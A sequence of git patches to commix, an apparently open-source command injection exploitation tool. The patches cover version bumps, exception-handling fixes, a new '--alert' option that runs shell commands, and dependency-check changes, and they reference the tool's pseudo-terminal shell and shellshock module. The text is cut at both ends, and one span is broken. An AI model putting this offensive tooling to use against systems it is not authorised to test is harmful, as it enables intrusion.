+REVISION = "58" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7be2e2ef5fec2ed1ecec985de866fd294665bcda Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 7 Feb 2023 07:51:23 +0200 Subject: [PATCH 0277/1023] Update regarding https://github.com/commixproject/commix/issues/812 --- src/core/injections/controller/checks.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 4b38beb9ef..5fd3c23cbc 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -17,7 +17,6 @@ import re import os import sys -import glob import json import time import socket @@ -27,6 +26,7 @@ import gzip import zlib import traceback +from glob import glob from src.utils import common from src.utils import logs from src.utils import menu @@ -1133,7 +1133,7 @@ def list_tamper_scripts(): info_msg = "Listing available tamper scripts." print(settings.print_info_msg(info_msg)) if menu.options.list_tampers: - for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): + for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): content = open(script, "rb").read().decode(settings.DEFAULT_CODEC) match = re.search(r"About:(.*)\n", content) if match: @@ -1148,7 +1148,7 @@ def tamper_scripts(stored_tamper_scripts): # Check the provided tamper script(s) available_scripts = [] provided_scripts = list(set(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()))) - for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): + for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): available_scripts.append(os.path.basename(script.split(".py")[0])) for script in provided_scripts: if script in available_scripts: diff --git a/src/utils/settings.py b/src/utils/settings.py index a2450770be..d608614a89 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "58" +REVISION = "59" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 396c67bb643f08ff918cac60c847bd4dbfa9cf74 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 8 Feb 2023 08:08:37 +0200 Subject: [PATCH 0278/1023] Fixes https://github.com/commixproject/commix/issues/811 --- src/utils/common.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index 645cce5d35..be742cc330 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -307,7 +307,7 @@ def unhandled_exception(): elif all(_ in exc_msg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or \ any(_ in exc_msg for _ in ("source code string cannot contain null bytes", "No module named")) or \ - any(_ in exc_msg for _ in ("ImportError", "ModuleNotFoundError", "Can't find file for module")): + any(_ in exc_msg for _ in ("ImportError", "ModuleNotFoundError", " Date: Fri, 10 Feb 2023 08:49:25 +0200 Subject: [PATCH 0279/1023] Minor update --- README.md | 3 ++- doc/THANKS.md | 1 + src/utils/settings.py | 2 +- 3 files changed, 4 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index e149bd0b1f..34e8aeb1b8 100644 --- a/README.md +++ b/README.md @@ -43,4 +43,5 @@ To get an overview of commix available options, switches and/or basic ideas on h ## Translations -* [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md) \ No newline at end of file +* [Greek](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md) +* [Indonesian](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md) \ No newline at end of file diff --git a/doc/THANKS.md b/doc/THANKS.md index 44e0c582d9..889a3a64a3 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -7,6 +7,7 @@ * Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. ## List of individual contributors: +* Thanks [galihap76](https://github.com/galihap76) for contributing an Indonesian translation of README.md. * Thanks [JitPatro](https://github.com/JitPatro) for creating a snap package for commix (i.e. `snap install commix`). * Thanks [0x27](https://github.com/0x27) for suggesting an enhancement. * Thanks [609496288](https://github.com/609496288) for reporting a bug. diff --git a/src/utils/settings.py b/src/utils/settings.py index bd2c6f9186..f2719c4b1f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "60" +REVISION = "61" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 57a598b33dfca2b218e9c93b153b011c39ef5cb2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 17 Feb 2023 09:27:36 +0200 Subject: [PATCH 0280/1023] Updated to v3.7 --- doc/CHANGELOG.md | 2 +- setup.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 9ab42d8fee..6dfb28b1d1 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,4 @@ -## Version 3.7 (TBA) +## Version 3.7 (2023-02-17) * Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). * Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers). * Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout"). diff --git a/setup.py b/setup.py index 5e356a3ae1..659ffec41c 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.7-dev', + version='3.7', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/settings.py b/src/utils/settings.py index f2719c4b1f..8bc684c474 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -242,7 +242,7 @@ def sys_argv_errors(): AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" REVISION = "61" -STABLE_RELEASE = False +STABLE_RELEASE = True VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" From c67abb629bf4d579961a9c1c5075856557c326f2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 19 Feb 2023 10:53:35 +0200 Subject: [PATCH 0281/1023] Update CHANGELOG.md --- doc/CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 6dfb28b1d1..33af793dbd 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.7 (2023-02-17) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). * Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers). * Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout"). From 0929e1887e38d58760fd096b9c5af3b2d7881448 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 20 Feb 2023 09:05:56 +0200 Subject: [PATCH 0282/1023] Added a new option `--alert` to run host OS command(s) when injection point is found. --- doc/CHANGELOG.md | 3 +++ setup.py | 2 +- .../blind/techniques/time_based/tb_handler.py | 1 + src/core/injections/controller/checks.py | 15 +++++++++++++++ .../techniques/classic/cb_handler.py | 3 ++- .../techniques/eval_based/eb_handler.py | 3 ++- .../semiblind/techniques/file_based/fb_handler.py | 3 ++- .../techniques/tempfile_based/tfb_handler.py | 1 + src/core/main.py | 7 +++++++ src/core/modules/shellshock/shellshock.py | 3 ++- src/utils/menu.py | 6 ++++++ src/utils/settings.py | 9 ++++++--- 12 files changed, 48 insertions(+), 8 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 33af793dbd..b2c7ef2d07 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,6 @@ +## Version 3.8 (TBA) +* Added: New option `--alert` to run host OS command(s) when injection point is found. + ## Version 3.7 (2023-02-17) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). diff --git a/setup.py b/setup.py index 659ffec41c..dce7dc683a 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.7', + version='3.8-dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index b040d64f40..e8d5f8511a 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -451,6 +451,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Pseudo-Terminal shell try: + checks.alert() go_back = False go_back_again = False while True: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 5fd3c23cbc..9fdd85d4a0 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -26,6 +26,7 @@ import gzip import zlib import traceback +import subprocess from glob import glob from src.utils import common from src.utils import logs @@ -131,6 +132,20 @@ def mobile_user_agents(): common.invalid_option(mobile_user_agent) pass +""" +Run host OS command(s) when injection point is found. +""" +def alert(): + if settings.ALERT: + info_msg = "Executing alerting shell command(s) '" + str(menu.options.alert) + "'." + print(settings.print_info_msg(info_msg)) + try: + process = subprocess.Popen(menu.options.alert, shell=True) + process.wait() + except Exception as ex: + err_msg = "Error occurred while executing command(s) '" + str(menu.options.alert) + "'." + print(settings.print_error_msg(err_msg)) + """ Check for HTTP Method """ diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 3d0c67f6de..3ced16c42a 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -326,8 +326,9 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if menu.options.os_cmd: cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # Pseudo-Terminal shell try: - # Pseudo-Terminal shell + checks.alert() go_back = False go_back_again = False while True : diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 0a07053332..13fc592cd8 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -338,8 +338,9 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if menu.options.os_cmd: eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # Pseudo-Terminal shell try: - # Pseudo-Terminal shell + checks.alert() go_back = False go_back_again = False while True: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index a24fe70083..2ea127a434 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -553,8 +553,9 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # Pseudo-Terminal shell try: - # Pseudo-Terminal shell + checks.alert() go_back = False go_back_again = False while True: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 87798a7129..2f4e6dee82 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -495,6 +495,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Pseudo-Terminal shell try: + checks.alert() go_back = False go_back_again = False while True: diff --git a/src/core/main.py b/src/core/main.py index 14bbca449e..8daee1b8dd 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -290,6 +290,13 @@ def check_for_injected_url(url): """ def main(filename, url): try: + if menu.options.alert: + if menu.options.alert.startswith('-'): + err_msg = "Value for option '--alert' must be valid operating system command(s)." + print(settings.print_error_msg(err_msg)) + else: + settings.ALERT = True + if menu.options.offline: settings.CHECK_FOR_UPDATES_ON_START = False diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 817e53767d..e708cba555 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -414,8 +414,9 @@ def shellshock_handler(url, http_request_method, filename): shell, payload = cmd_exec(url, cmd, cve, check_header, filename) checks.print_single_os_cmd(cmd, shell) + # Pseudo-Terminal shell try: - # Pseudo-Terminal shell + checks.alert() go_back = False go_back_again = False while True: diff --git a/src/utils/menu.py b/src/utils/menu.py index e3069316c7..71ca7e0ec8 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -561,6 +561,12 @@ def banner(): default=False, help="Display list of available tamper scripts.") +misc.add_option("--alert", + action="store", + dest="alert", + default=False, + help="Run host OS command(s) when injection point is found.") + misc.add_option("--no-logging", action="store_true", dest="no_logging", diff --git a/src/utils/settings.py b/src/utils/settings.py index 8bc684c474..af577ce839 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -240,9 +240,9 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" -VERSION_NUM = "3.7" -REVISION = "61" -STABLE_RELEASE = True +VERSION_NUM = "3.8" +REVISION = "1" +STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" @@ -1235,6 +1235,9 @@ def sys_argv_errors(): CHECKING_PARAMETER = "" +# Run host OS command(s) when injection point is found. +ALERT = False + USE_PCRE_E_MODIFIER = None PCRE_MODIFIER = "/e" From 7a75bc06185a8f0ba47544808fdb3cbb2e236725 Mon Sep 17 00:00:00 2001 From: daniruiz Date: Sun, 26 Feb 2023 10:07:40 +0100 Subject: [PATCH 0283/1023] Fix typo 'ptint' instead of 'print' I've already pushed the patch in Kali so it should be fixed soon https://gitlab.com/kalilinux/packages/commix/-/commit/799c72b4698bcdaeb4c3cd5b3dc66254acf57438 --- src/core/injections/controller/checks.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 9fdd85d4a0..85ee8076ca 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2092,7 +2092,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi # print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.PASSWD_FILE + "'." - ptint(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) except TypeError: pass except IndexError: @@ -2491,4 +2491,4 @@ def define_py_working_dir(): pass settings.USER_DEFINED_PYTHON_DIR = True -# eof \ No newline at end of file +# eof From 10f594ad1c485cc8016852cf780f0287807ede32 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 26 Feb 2023 20:35:57 +0200 Subject: [PATCH 0284/1023] Minor update regarding PR https://github.com/commixproject/commix/commit/57bbe7ab876f2adec672a2fdb9c378a2561c80c4 --- doc/THANKS.md | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/doc/THANKS.md b/doc/THANKS.md index 889a3a64a3..5999a82158 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -7,6 +7,7 @@ * Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. ## List of individual contributors: +* Thanks [daniruiz](https://github.com/daniruiz) for contributing code. * Thanks [galihap76](https://github.com/galihap76) for contributing an Indonesian translation of README.md. * Thanks [JitPatro](https://github.com/JitPatro) for creating a snap package for commix (i.e. `snap install commix`). * Thanks [0x27](https://github.com/0x27) for suggesting an enhancement. diff --git a/src/utils/settings.py b/src/utils/settings.py index af577ce839..993d585bc8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "1" +REVISION = "2" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 8228d8f74133468229d9859b9c0570d326606c28 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 27 Feb 2023 10:45:30 +0200 Subject: [PATCH 0285/1023] Fixes https://github.com/commixproject/commix/issues/816 --- src/core/injections/controller/checks.py | 2 +- src/core/requests/headers.py | 6 +++--- src/core/requests/redirection.py | 2 +- src/core/requests/requests.py | 2 +- src/core/requests/tor.py | 2 +- src/utils/settings.py | 2 +- 6 files changed, 8 insertions(+), 8 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 85ee8076ca..f03f853979 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2491,4 +2491,4 @@ def define_py_working_dir(): pass settings.USER_DEFINED_PYTHON_DIR = True -# eof +# eof \ No newline at end of file diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index e4b1482cab..a84262ea73 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -137,7 +137,7 @@ def http_open(self, req): self.print_http_response() self.do_open(connection, req) return super(connection_handler, self).http_open(req) - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: checks.connection_exceptions(err_msg) def https_open(self, req): @@ -145,7 +145,7 @@ def https_open(self, req): self.print_http_response() self.do_open(connection, req) return super(connection_handler, self).https_open(req) - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: checks.connection_exceptions(err_msg) opener = _urllib.request.build_opener(connection_handler()) @@ -191,7 +191,7 @@ def https_open(self, req): if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break - except (SocketError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + except (SocketError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: if not settings.MULTI_TARGETS and not settings.CRAWLING: pass else: diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index e7245ed4b2..5335ebd125 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -64,7 +64,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): opener = _urllib.request.build_opener(RedirectHandler()) _urllib.request.install_opener(opener) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg: + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL) as err_msg: requests.crawler_request(redirect_url) try: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 8cab82f762..3fef642a40 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -64,7 +64,7 @@ def crawler_request(url): if href != url: crawler.store_hrefs(href, identified_hrefs=True, redirection=True) return response - except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg: + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: if url not in settings.HREF_SKIPPED: settings.HREF_SKIPPED.append(url) settings.CRAWLED_SKIPPED_URLS_NUM += 1 diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 49c88c01b1..80f34e68e1 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -90,7 +90,7 @@ def do_check(): print(settings.print_critical_msg(err_msg)) raise SystemExit() - except _http_client.BadStatusLine as err_msg: + except (_http_client.BadStatusLine, _http_client.IncompleteRead) as err_msg: print(settings.SINGLE_WHITESPACE) if len(err_msg.line) > 2 : print(err_msg.line, err_msg.message) diff --git a/src/utils/settings.py b/src/utils/settings.py index 993d585bc8..8b48caf28b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "2" +REVISION = "3" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4e286479f6a7b971af55643e4a2cf64285053e3c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 24 Mar 2023 09:15:32 +0200 Subject: [PATCH 0286/1023] The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 30 +++++++++--------------- src/core/main.py | 10 ++++---- src/utils/menu.py | 6 ++--- src/utils/settings.py | 2 +- 5 files changed, 20 insertions(+), 29 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index b2c7ef2d07..28e42d294c 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.8 (TBA) +* Replaced: The `--dependencies` option has been replaced with `--ignore-dependencies`, regarding ignoring all required third-party library dependencies. * Added: New option `--alert` to run host OS command(s) when injection point is found. ## Version 3.7 (2023-02-17) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f03f853979..c4a75bacad 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -924,17 +924,16 @@ def identified_os(): pass """ -Check for third-party (non-core) libraries. +Checking all required third-party library dependencies. """ def third_party_dependencies(): - info_msg = "Checking for third-party (non-core) libraries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Checking all required third-party library dependencies." + print(settings.print_debug_msg(debug_msg)) try: import sqlite3 except ImportError: - print(settings.SINGLE_WHITESPACE) err_msg = settings.APPLICATION + " requires 'sqlite3' third-party library " err_msg += "in order to store previous injection points and commands. " print(settings.print_critical_msg(err_msg)) @@ -947,27 +946,20 @@ def third_party_dependencies(): try: import pyreadline except ImportError: - print(settings.SINGLE_WHITESPACE) - err_msg = settings.APPLICATION + " requires 'pyreadline' third-party library " + err_msg = "The 'pyreadline' (third-party) library is required " err_msg += "in order to be able to take advantage of the TAB " - err_msg += "completion and history support features. " - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - elif settings.PLATFORM == "mac": + err_msg += "completion and history support features." + print(settings.print_error_msg(err_msg)) + elif settings.PLATFORM == "posix": try: import gnureadline except ImportError: - print(settings.SINGLE_WHITESPACE) - err_msg = settings.APPLICATION + " requires 'gnureadline' third-party library " + err_msg = "The 'gnureadline' (third-party) library is required " err_msg += "in order to be able to take advantage of the TAB " - err_msg += "completion and history support features. " - print(settings.print_critical_msg(err_msg)) + err_msg += "completion and history support features." + print(settings.print_error_msg(err_msg)) pass - print(settings.SINGLE_WHITESPACE) - info_msg = "All required third-party (non-core) libraries are seems to be installed." - print(settings.print_bold_info_msg(info_msg)) - """ Print the authentiation error message. """ diff --git a/src/core/main.py b/src/core/main.py index 8daee1b8dd..c0d0aa35a5 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -591,11 +591,9 @@ def main(filename, url): checks.no_readline_module() raise SystemExit() - # Check if defined "--dependencies" option. - # For checking (non-core) third party dependenices. - if menu.options.noncore_dependencies: + # Check if defined "--ignore-dependencies" option. + if not menu.options.ignore_dependencies: checks.third_party_dependencies() - raise SystemExit() # Check if defined "--update" option. if menu.options.update: @@ -613,9 +611,9 @@ def main(filename, url): # Check for missing mandatory option(s). if not settings.STDIN_PARSING and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \ - menu.options.update, menu.options.list_tampers, menu.options.noncore_dependencies)): + menu.options.update, menu.options.list_tampers)): if not menu.options.purge: - err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers, --purge or --dependencies). " + err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers or --purge). " err_msg += "Use -h for help." print(settings.print_critical_msg(err_msg)) raise SystemExit() diff --git a/src/utils/menu.py b/src/utils/menu.py index 71ca7e0ec8..2c660850f4 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -549,11 +549,11 @@ def banner(): # Miscellaneous options misc = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Miscellaneous" + Style.RESET_ALL) -misc.add_option("--dependencies", +misc.add_option("--ignore-dependencies", action="store_true", - dest="noncore_dependencies", + dest="ignore_dependencies", default=False, - help="Check for third-party (non-core) dependencies.") + help="Ignore all required third-party library dependencies.") misc.add_option("--list-tampers", action="store_true", diff --git a/src/utils/settings.py b/src/utils/settings.py index 8b48caf28b..5b793aaf60 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "3" +REVISION = "4" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c9933ff1420174a9d8c26967215629121ab7c971 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 1 Apr 2023 08:57:17 +0300 Subject: [PATCH 0287/1023] Fixes https://github.com/commixproject/commix/issues/821 --- src/core/main.py | 1 + src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/src/core/main.py b/src/core/main.py index c0d0aa35a5..8b3d82a93c 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -475,6 +475,7 @@ def main(filename, url): checks.check_CGI_scripts(url) # Check if defined "--file-upload" option. if menu.options.file_upload: + menu.options.file_upload = os.path.abspath(menu.options.file_upload) checks.file_upload() try: _urllib.request.urlopen(menu.options.file_upload, timeout=settings.TIMEOUT) diff --git a/src/utils/settings.py b/src/utils/settings.py index 5b793aaf60..1ecb5318c0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "4" +REVISION = "5" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e0fc2ec5e6a0d9e28e042bacc7ce726cda6e8480 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 2 Apr 2023 11:19:56 +0300 Subject: [PATCH 0288/1023] Minor update --- src/core/injections/controller/checks.py | 4 ++-- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c4a75bacad..1324865b15 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2389,7 +2389,7 @@ def file_upload(): # menu.options.file_dest = menu.options.file_dest + "/" # Check if not defined URL for upload. while True: - message = "Do you want to enable an HTTP server? [Y/n] > " + message = "Do you want to enable a local HTTP server? [Y/n] > " enable_HTTP_server = common.read_input(message, default="Y", check_batch=True) if enable_HTTP_server in settings.CHOICE_YES: @@ -2429,7 +2429,7 @@ def file_upload(): elif enable_HTTP_server in settings.CHOICE_NO: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): - err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. " + err_msg = "The provided '--file-upload' option requires the activation of a local HTTP server." print(settings.print_critical_msg(err_msg)) raise SystemExit() break diff --git a/src/utils/settings.py b/src/utils/settings.py index 1ecb5318c0..ea5371f16c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.8" -REVISION = "5" +REVISION = "6" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a4446e58cbf0d717ab534609ac426492695243e8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 3 Apr 2023 07:30:35 +0300 Subject: [PATCH 0289/1023] Fixes https://github.com/commixproject/commix/issues/823 --- src/core/injections/controller/checks.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/checks.py 